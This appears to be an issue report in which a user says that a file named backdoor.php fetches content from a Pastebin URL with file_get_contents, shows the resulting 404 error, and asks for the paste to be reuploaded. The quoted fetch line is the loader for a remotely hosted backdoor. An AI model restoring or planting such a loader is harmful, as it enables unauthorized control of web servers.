The Pastebin (https://pastebin.com/raw/z7ihXpVA) in the backdoor.php file has been removed

[metaltiger775]

In the backdoor.php file, the pastebin file has been removed so it shows this error when I try to open it:

Warning: file_get_contents(https://pastebin.com/raw/z7ihXpVA): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/runner/Upload-Website/backdoor.php on line 1

Also here is the pastebin in the "backdoor.php" file.
file_get_contents("https://pastebin.com/raw/z7ihXpVA");

And when I try to open the pastebin file, it shows this :
Not Found (#404)
This page is no longer available. It has either expired, been removed by its creator, or removed by one of the Pastebin staff.

So could you please reupload the pastebin file and update the script please?
Thank You